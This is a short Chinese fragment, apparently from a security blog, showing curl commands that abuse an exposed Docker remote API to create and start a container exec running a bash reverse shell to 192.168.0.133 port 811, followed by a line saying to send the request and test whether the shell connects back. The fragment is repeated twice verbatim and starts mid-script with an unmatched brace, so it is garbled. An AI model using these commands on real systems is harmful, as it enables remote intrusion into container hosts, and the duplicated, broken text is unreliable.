2024年3月25日发(作者：饶芸静)

echo 'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/192.168.0.133/811 0>&1"]}" | jq -r ".Id")';

echo 'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"';

} | bash

然后发送请求。测试是否反弹shell

2024年3月25日发(作者：饶芸静)

echo 'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/192.168.0.133/811 0>&1"]}" | jq -r ".Id")';

echo 'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"';

} | bash

然后发送请求。测试是否反弹shell